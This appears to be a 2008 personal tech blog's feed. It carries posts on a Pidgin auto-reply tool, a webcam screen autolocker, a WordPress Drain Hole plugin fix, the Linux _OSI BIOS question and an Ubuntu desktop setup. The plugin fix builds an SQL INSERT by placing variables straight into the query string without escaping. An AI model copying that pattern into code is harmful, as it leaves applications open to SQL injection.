when you are away from your computer. Basically it allows you to divide up your contact list into groups based on email IDs and execute actions based on when someone from a particular group messages you while you are away. e.g. For general friends, you can keep a message like “Will talk to you later when I come back”, or if someone from office IMs you, it’ll send them your phone number “Call me at XXXXXX if urgent”. And if you boss is the one pinging you, you could direct the message towards your twitter account so that you get it as an SMS on your phone immediately.&lt;/p&gt;</description><content>&lt;p&gt;This is a simple tool I wrote a few months ago to turn Pidgin, everyone’s favourite multi-client Instant Messenger (works with gtalk, msn, yahoo, aim etc), into a &lt;strong&gt;customized answering machine (and more)&lt;/strong&gt; when you are away from your computer. Basically it allows you to divide up your contact list into groups based on email IDs and execute actions based on when someone from a particular group messages you while you are away. e.g. For general friends, you can keep a message like “Will talk to you later when I come back”, or if someone from office IMs you, it’ll send them your phone number “Call me at XXXXXX if urgent”. And if you boss is the one pinging you, you could direct the message towards your twitter account so that you get it as an SMS on your phone immediately.&lt;/p&gt;
&lt;p&gt;Time is short, so here are the details:&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Features:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Group based rule execution, each group can contain any number of email IDs&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Custom replies for each group.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Integrates with twitter and will forward the message to your twitter account (or send a direct message to some other account) if you so desire. (Temporarily disabled since Twitter has blocked their IM bot)&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Runs as a separate process over d-bus instead of running as a pidgin plugin, so much lesser chances of crashing.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Prerequisites:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Pidgin &amp;gt; 2.4.1&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Linux&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Download:&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Usage:&lt;/strong&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;Unzip the attached package anywhere.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Either install using the deb package or just copy the splert binary and config.txt to a folder of your choice&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Modify the “config.txt” file according to your needs.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Run splert. (or run splert -h for checking out the available options though you wouldn’t need them most of the times)&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;strong&gt;Config File:&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Config file fields and formats are explained fully in the sample config file included in the attached file. However, here is a very basic sample configuration:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-ini" data-lang="ini"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;[Office]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;user&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#e6db74"&gt;bar@bar.com; abc@abc.com&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;message&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;Please Call me at 9876543210&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;twitter&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#e6db74"&gt;0&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;[Friends]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;user&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#e6db74"&gt;foo@foo.com&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;message&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;Not Here. Will talk to you later&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;[VIP]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;user&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#e6db74"&gt;boss@boss.com&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;message&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;Got your message. Will Contact you asap&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;twitter&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#e6db74"&gt;1&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;twitterto&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#e6db74"&gt;my2ndtwitteracct&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;strong&gt;ChangeLog:&lt;/strong&gt;
0.03 - Oct04 2008 -&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Added option to specify twitter bot id (e.g. &lt;a href="mailto:twitterspy@jabber.org"&gt;twitterspy@jabber.org&lt;/a&gt;) using option &amp;ldquo;-t/-twitterbot&amp;rdquo;. However, you need to do any &amp;ldquo;extra&amp;rdquo; stuff manually. e.g. logging in using twlogin command with twitterspy.&lt;/li&gt;
&lt;li&gt;Added option to specify the status when you want to send messages instead of just when being away. Use &amp;ldquo;-s/&amp;ndash;status&amp;rdquo; option to do this.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;0.02 - Aug25 2008 -&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Fixed bug where response was not sent for 1st message received&lt;/li&gt;
&lt;li&gt;Added 32 bit package&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;0.01 - Aug15 2008 - Initial Version&lt;/p&gt;
&lt;p&gt;Please let me know if you like it or found some issues with it. Also, let me know if you would like me to add any features to it.&lt;/p&gt;</content></item><item><title>Project: Shantz Webcam Autolocker</title><link>https://shantanugoel.com/2008/08/11/project-shantz-webcam-autolocker/</link><pubDate>Mon, 11 Aug 2008 17:51:31 +0000</pubDate><guid>https://shantanugoel.com/2008/08/11/project-shantz-webcam-autolocker/</guid><description>&lt;p&gt;Sometimes I do some things that even I can&amp;rsquo;t explain why I did &amp;rsquo;em. Did this one in one of those times as well. This is a simple script to monitor motion in front of your PC, auto-lock it when you are away and auto-unlock it when you come back. Did it just because I was really bogged down by the shitload of work that I&amp;rsquo;ve been doing for the past few weeks (and even weekends as well), so wanted to take a break for a few minutes, and just chanced over my own &amp;ldquo;Home Security Using a Webcam and Twitter&amp;rdquo; post, so thought of doing something related to motion detection again.&lt;/p&gt;</description><content>&lt;p&gt;Sometimes I do some things that even I can&amp;rsquo;t explain why I did &amp;rsquo;em. Did this one in one of those times as well. This is a simple script to monitor motion in front of your PC, auto-lock it when you are away and auto-unlock it when you come back. Did it just because I was really bogged down by the shitload of work that I&amp;rsquo;ve been doing for the past few weeks (and even weekends as well), so wanted to take a break for a few minutes, and just chanced over my own &amp;ldquo;Home Security Using a Webcam and Twitter&amp;rdquo; post, so thought of doing something related to motion detection again.&lt;/p&gt;</content></item><item><title>Shantz Webcam Autolocker</title><link>https://shantanugoel.com/2008/08/11/shantz-webcam-autolocker/</link><pubDate>Mon, 11 Aug 2008 17:50:54 +0000</pubDate><guid>https://shantanugoel.com/2008/08/11/shantz-webcam-autolocker/</guid><description>&lt;p&gt;Sometimes I do some things that even I can&amp;rsquo;t explain why I did &amp;rsquo;em. Did this one in one of those times as well. This is a simple (and &lt;strong&gt;useless&lt;/strong&gt;) script to monitor motion in front of your PC, auto-lock it when you are away and auto-unlock it when you come back. Kinda useless cuz there is no security aspect (read face detection etc) and any kind of motion triggers the unlock. Did it just because I was really bogged down by the shitload of work that I&amp;rsquo;ve been doing for the past few weeks (and even weekends as well), so wanted to take a break for a few minutes, and just chanced over my own &amp;ldquo;&lt;a href="https://shantanugoel.com/2008/05/14/keep-tab-on-home-security-with-a-webcam-and-twitter.html"&gt;Home Security Using a Webcam and Twitter&lt;/a&gt;&amp;rdquo; post, so thought of doing something related to motion-detection again.&lt;/p&gt;</description><content>&lt;p&gt;Sometimes I do some things that even I can&amp;rsquo;t explain why I did &amp;rsquo;em. Did this one in one of those times as well. This is a simple (and &lt;strong&gt;useless&lt;/strong&gt;) script to monitor motion in front of your PC, auto-lock it when you are away and auto-unlock it when you come back. Kinda useless cuz there is no security aspect (read face detection etc) and any kind of motion triggers the unlock. Did it just because I was really bogged down by the shitload of work that I&amp;rsquo;ve been doing for the past few weeks (and even weekends as well), so wanted to take a break for a few minutes, and just chanced over my own &amp;ldquo;&lt;a href="https://shantanugoel.com/2008/05/14/keep-tab-on-home-security-with-a-webcam-and-twitter.html"&gt;Home Security Using a Webcam and Twitter&lt;/a&gt;&amp;rdquo; post, so thought of doing something related to motion-detection again.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Pre-requisites:&lt;/strong&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;Works only in linux, primarily because the motion detection software we are going to use here works only in linux, otherwise we can port the script to other platforms.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;You should have &lt;a href="http://lavrsen.dk/twiki/bin/view/Motion/DownloadFiles"&gt;motion&lt;/a&gt; installed. If you are using Debian/Ubuntu or one of their derivatives, this is as simple as typing&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-fallback" data-lang="fallback"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;sudo apt-get install motion
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Otherwise, just go to the link above and download.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;How-to:&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;This is very simple.&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;Download the zip file attached to this post and unzip somewhere preferably in your home directory.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Open your terminal/command prompt. &amp;ldquo;cd&amp;rdquo; to the folder where you unzipped the zip file.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Run the following command.&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-fallback" data-lang="fallback"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;motion -c ./motion.conf
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;ol start="4"&gt;
&lt;li&gt;Run the following(in a different terminal, after cd&amp;rsquo;ing to the same folder):&lt;/li&gt;
&lt;/ol&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-fallback" data-lang="fallback"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;./shantz-locker.sh
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;And that&amp;rsquo;s it. See the magic (a pretty useless one, I admit :-D) happen.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Options:&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;The shantz-locker.sh script takes a few options that you can use to customize the program according to your needs.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-fallback" data-lang="fallback"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Usage: ./shantz-locker [-l &amp;lt;LockThreshold&amp;gt;] [-u UnlockThreshold] [-s LockScanInterval] [-t UnlockScanInterval]
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;#LockThreshold - Determines the threshold (based on no. of samples sans motion) to lock your PC. Default is 5
#UnlockThreshold - Determines the threshold (based on no. of samples with motion) to unlock your PC. Default is 2
#LockScanInterval - How soon to check if there is motion when your PC is in unlocked state. Default interval is 5 seconds
#UnlockScanInterval - How soon to check if there is motion when your PC is in locked state. Default interval is 2 seconds&lt;/p&gt;
&lt;p&gt;If you liked it, or disliked it, or want to add your modifications to it, or have some cool idea that I can modify it for, just give me a shout in the comment box below.&lt;/p&gt;</content></item><item><title>Fixing The WordPress Drain Hole Pugin v2.1.3</title><link>https://shantanugoel.com/2008/08/10/fixing-the-wordpress-drain-hole-pugin-v213/</link><pubDate>Sun, 10 Aug 2008 17:36:27 +0000</pubDate><guid>https://shantanugoel.com/2008/08/10/fixing-the-wordpress-drain-hole-pugin-v213/</guid><description>&lt;p&gt;If you use the awesome download manager plugin &amp;ldquo;Drain Hole&amp;rdquo; for your WordPress blog (A short review &lt;a href="https://shantanugoel.com/2008/02/29/wordpress-must-have-plugins-download-managers.html"&gt;here&lt;/a&gt;), and upgraded to the latest version 2.1.3, you must have noticed that it doesn&amp;rsquo;t scan and add new files to the download repositories now. Well, this is a quick and short post to tell you how to fix it in less than a minute.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Steps:&lt;/strong&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;Go to your wordpress folder and then navigate to wp-content/plugins/drain-hole/models.&lt;/p&gt;</description><content>&lt;p&gt;If you use the awesome download manager plugin &amp;ldquo;Drain Hole&amp;rdquo; for your WordPress blog (A short review &lt;a href="https://shantanugoel.com/2008/02/29/wordpress-must-have-plugins-download-managers.html"&gt;here&lt;/a&gt;), and upgraded to the latest version 2.1.3, you must have noticed that it doesn&amp;rsquo;t scan and add new files to the download repositories now. Well, this is a quick and short post to tell you how to fix it in less than a minute.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Steps:&lt;/strong&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;Go to your wordpress folder and then navigate to wp-content/plugins/drain-hole/models.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Open file.php&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Go to line 106, and replace &amp;lsquo;NULL&amp;rsquo; by $file. The new line will read like&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-php" data-lang="php"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;$name &lt;span style="color:#f92672"&gt;=&lt;/span&gt; $file;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;ol start="4"&gt;
&lt;li&gt;Go to line 127, and replace $name by &amp;lsquo;$name&amp;rsquo;. The new line will read like&lt;/li&gt;
&lt;/ol&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-php" data-lang="php"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;$wpdb&lt;span style="color:#f92672"&gt;-&amp;gt;&lt;/span&gt;&lt;span style="color:#a6e22e"&gt;query&lt;/span&gt; (&lt;span style="color:#e6db74"&gt;&amp;#34;INSERT INTO &lt;/span&gt;&lt;span style="color:#e6db74"&gt;{&lt;/span&gt;$wpdb&lt;span style="color:#f92672"&gt;-&amp;gt;&lt;/span&gt;&lt;span style="color:#a6e22e"&gt;prefix&lt;/span&gt;&lt;span style="color:#e6db74"&gt;}&lt;/span&gt;&lt;span style="color:#e6db74"&gt;drainhole_files (hole_id,file,updated_at,name) VALUES (&lt;/span&gt;&lt;span style="color:#e6db74"&gt;$hole&lt;/span&gt;&lt;span style="color:#e6db74"&gt;,&amp;#39;&lt;/span&gt;&lt;span style="color:#e6db74"&gt;$file&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#39;,NOW(),&amp;#39;&lt;/span&gt;&lt;span style="color:#e6db74"&gt;$name&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#39;)&amp;#34;&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;And that&amp;rsquo;s it. Let me know if this helped you out.&lt;/p&gt;</content></item><item><title>Hi BIOS! My Name Is "Linux", Or Is It?</title><link>https://shantanugoel.com/2008/08/03/hi-bios-my-name-is-linux-or-is-it/</link><pubDate>Sun, 03 Aug 2008 17:44:30 +0000</pubDate><guid>https://shantanugoel.com/2008/08/03/hi-bios-my-name-is-linux-or-is-it/</guid><description>&lt;p&gt;A couple of days ago, I read &lt;a href="http://mjg59.livejournal.com/96270.html"&gt;this&lt;/a&gt; on Matthew Garrette’s blog, where he tells us about a vendor’s BIOS trying to figure out the OS type/version and setting things around on deciding the OS it is running. The call in question was _OSI(“Linux”). He goes on to say that the action the firmware takes, on finding out if the OS is linux, was probably inaccurate and it was good that linux kernel DOES NOT identify itself as “Linux” and returns false for the _OSI(“Linux”) and instead returns true when probed for Windows.&lt;/p&gt;</description><content>&lt;p&gt;A couple of days ago, I read &lt;a href="http://mjg59.livejournal.com/96270.html"&gt;this&lt;/a&gt; on Matthew Garrette’s blog, where he tells us about a vendor’s BIOS trying to figure out the OS type/version and setting things around on deciding the OS it is running. The call in question was _OSI(“Linux”). He goes on to say that the action the firmware takes, on finding out if the OS is linux, was probably inaccurate and it was good that linux kernel DOES NOT identify itself as “Linux” and returns false for the _OSI(“Linux”) and instead returns true when probed for Windows.&lt;/p&gt;
&lt;p&gt;That got me thinking, the first thought being that isn’t this a BIG flaw in the kernel. I mean, trying to make the firmware aware of the OS and doing things accordingly is a good thing, right? Vendors can provide workarounds for OS flaws in this way. e.g. the thermal critical temperature event workaround that HP has for Windows Vista. If we are just emulating Vista here, then aren’t we inheriting their bugs as well? But “Never make judgements straightaway”, I have learnt in the past. So, thought about reading it a bit more. After some googling around, I came to know the sound reasoning behind the decision.&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Why not return true for _OSI(“Linux”)?&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;The difference between Linux and Windows is that the linux kernel is a continuously (and rapidly) moving target. When somebody probes for Windows 98 or Windows 2000 or Windows Vista, they can be sure about the behaviour, but Linux is too generic for us. The bug in one version of the kernel can be fixed in another one, and the behaviour changes, so one cannot rely on _OSI(“Linux”) as there is no generic/constant “Linux” interface.&lt;/p&gt;
&lt;ol start="2"&gt;
&lt;li&gt;Why not then support _OSI(“Linux.xx.xx.xx”) or something equivalent to signify the kernel version?&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;This is also not reliable because which kernel would this be, the mainline, Ubuntu’s kernel, Fedora’s kernel, Suse’s kernel, or some user patched kernel? Moreover, the bugs fixed in later kernel versions are often backported to earlier versions by various distros. So, again one cannot rely on the kernel version as such, and there are just too many different kernel branches out there for a vendor to check against.&lt;/p&gt;
&lt;ol start="3"&gt;
&lt;li&gt;Why to return true for something like _OS(“Windows 2006”)?&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;What I found out is that they do it because most vendors do most checks only if they find Windows and hence, it becomes a necessity to return true for this, for now.&lt;/p&gt;
&lt;ol start="4"&gt;
&lt;li&gt;But what does that mean, is it always going to remain the same?&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Basically, what the kernel guys want is a better usage of the _OSI strings. They want the BIOS developers to check for a “capability” rather than a platform or platform version. Because consistent behaviour might be expected when checked for a platform like Windows (Actually its a platform + its version because there are separate strings for Windows 98, Windows ME, Windows NT, Windows Vista, etc) because they are slow moving targets with major changes to ACPI behaviour done only with the next version of the OS that is released after many years, but this is not true for faster targets like linux where changes happen often and can even be backported. So, essentially the situation will remain the same until vendors straighten out their code.&lt;/p&gt;
&lt;ol start="5"&gt;
&lt;li&gt;But is it justified for the linux developers/users to expect this to be followed by the vendors?&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;This is a tough question with no straight answer. Even though linux users are in minority but still they are significant in number, and if they pay the same money for the hardware as their windows counterparts, they should get the same level of firmware support as well. However, that said, it is also true that the vendors have to draw the line somewhere and given the rapidly changing behaviour of the kernel they cannot always be expected to keep up, especially with all the costs involved. Thats why the kernel community wants them to be aware of these inherent flaws in their design and move to a system (check for capability, not for platform) where they don’t have to “keep up” anymore. And meanwhile they absorb the strain into the kernel/drivers, emulating as Windows, and trying to make the workarounds for Windows bugs in their code instead. And they have started efforts to make the vendors aware of this linux peculiarity and are trying to document the linux behaviour&lt;/p&gt;
&lt;p&gt;Reading material: Thomas Renninger wrote this doc” &lt;a href="ftp://ftp.suse.com/pub/people/trenn/ACPI_BIOS_on_Linux_guide/acpi_guideline_for_vendors.pdf"&gt;ACPI BIOS Guideline For Linux&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;I’m convinced with the reasoning. But as always, one man cannot look at all the angles and I might have missed the one that makes this all junk. Are you convinced too? Or do you have any other angle to provide?&lt;/p&gt;</content></item><item><title>Site Updates</title><link>https://shantanugoel.com/2008/07/29/site-updates-2/</link><pubDate>Tue, 29 Jul 2008 18:16:00 +0000</pubDate><guid>https://shantanugoel.com/2008/07/29/site-updates-2/</guid><description>&lt;p&gt;Just wanted to apologize to you guys for not updating this blog frequently as work load is becoming more and more these days. But I&amp;rsquo;ll try my best to update as often as possible. There are a couple of useful apps that I wrote some time ago but havent found time to add all the features that I wanted and to roll them out, maybe I&amp;rsquo;ll release them with the current feature set.&lt;/p&gt;</description><content>&lt;p&gt;Just wanted to apologize to you guys for not updating this blog frequently as work load is becoming more and more these days. But I&amp;rsquo;ll try my best to update as often as possible. There are a couple of useful apps that I wrote some time ago but havent found time to add all the features that I wanted and to roll them out, maybe I&amp;rsquo;ll release them with the current feature set.&lt;/p&gt;
&lt;p&gt;Meanwhile, today I got some time free to finally update both my blogs to WordPress 2.6 and also update all the plugins to their latest versions. Don&amp;rsquo;t notice too much on the frontend, but the admin area seems much snappier.&lt;/p&gt;
&lt;p&gt;And as always, please let me know if there is anything specific that you want me to write about in near future.&lt;/p&gt;</content></item><item><title>A Breath Of Fresh Air: My New Ubuntu Desktop</title><link>https://shantanugoel.com/2008/07/21/a-breath-of-fresh-air-my-new-ubuntu-desktop/</link><pubDate>Mon, 21 Jul 2008 18:54:53 +0000</pubDate><guid>https://shantanugoel.com/2008/07/21/a-breath-of-fresh-air-my-new-ubuntu-desktop/</guid><description>&lt;p&gt;**UPDATE: **Surprisingly this post has found favour with “digg”ers :). Check the bottom of the post for some more info about the setup&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;UPDATE2&lt;/strong&gt;: On popular demand, I&amp;rsquo;ve uploaded my .conkyrc. &lt;a href="https://shantanugoel.com/files/conkyrc.txt"&gt;Download Conky Configuration file by clicking here&lt;/a&gt; and save as .conkyrc in your home folder.&lt;/p&gt;
&lt;p&gt;After loitering around for so long, I finally got my lazy bum off the bed and installed Hardy Heron (8.04.1) onto my aging laptop. I’ve never been a sucker for eye-candy stuff, prefering to have more resources available for real work, instead of ooh-aahing over nice looking things all around my desktop. Well, but then I fell prey. I thought of giving another try to the thingamagic that compiz-fusion is, moreso since I didn’t have to go through loads of installing nuances like feisty because of it being already integrated in Hardy. An emerald install and a few minutes of tinkering later, I had a cool looking screen staring back at me. Here is a preview screenshot for your eyes but obviously the static screenshot wont show the amazing dynamic effects of CF. Let me see how many days I keep this up before going back to my plain-jane self. Click on the pic for full view:&lt;/p&gt;</description><content>&lt;p&gt;**UPDATE: **Surprisingly this post has found favour with “digg”ers :). Check the bottom of the post for some more info about the setup&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;UPDATE2&lt;/strong&gt;: On popular demand, I&amp;rsquo;ve uploaded my .conkyrc. &lt;a href="https://shantanugoel.com/files/conkyrc.txt"&gt;Download Conky Configuration file by clicking here&lt;/a&gt; and save as .conkyrc in your home folder.&lt;/p&gt;
&lt;p&gt;After loitering around for so long, I finally got my lazy bum off the bed and installed Hardy Heron (8.04.1) onto my aging laptop. I’ve never been a sucker for eye-candy stuff, prefering to have more resources available for real work, instead of ooh-aahing over nice looking things all around my desktop. Well, but then I fell prey. I thought of giving another try to the thingamagic that compiz-fusion is, moreso since I didn’t have to go through loads of installing nuances like feisty because of it being already integrated in Hardy. An emerald install and a few minutes of tinkering later, I had a cool looking screen staring back at me. Here is a preview screenshot for your eyes but obviously the static screenshot wont show the amazing dynamic effects of CF. Let me see how many days I keep this up before going back to my plain-jane self. Click on the pic for full view:&lt;/p&gt;
&lt;p&gt;&lt;a href="https://shantanugoel.com/img/uploads/desktop.jpg"&gt;&lt;img src="https://shantanugoel.com/img/uploads/desktop_thumb.jpg" alt="My all new and shiny desktop"&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Let me know if you have any suggestions to improve it further, or want more pics/vids of my new lappy in action, or have any of your own to share.&lt;/p&gt;
&lt;p&gt;Update: Setup info:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Base Theme: Ubuntu Studio (basically for icon set. Download ubuntustudio-look package for this)&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Controls : From Xenon theme (Inbuilt in Ubuntu)&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Wallpaper is something named “lotus” or something. Downloaded from interfacelift.com&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Compiz Fusion with almost all effects turned on. Ofcourse you can’t see most of them in the still image&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Emerald theme engine for glassy and rounded window borders (Download “emerald” package)&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Dock at the bottom is avant window navigator (awn. Download package avant-window-navigator)&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;On right side, stats etc are from conky (Download package conky)&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Misc: Turned transparency on for most things including gnome-terminal, gnome-panel, etc.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Salient points:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;The memory being consumed right now is around 850 MB. Thats with lots of applications, all CF effects turned on, most things having glass and transparent effects, and even my apache web server and mysql are running in background. And after that also, most memory (around 200 MB) is being eaten by firefox, leading to this high usage.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;The setup boots up with just a shade over 300 MB being used, even though I’ve set CF and emerald on by default at boot and even apache and mysql start running on startup. :)&lt;/p&gt;
&lt;/li&gt;
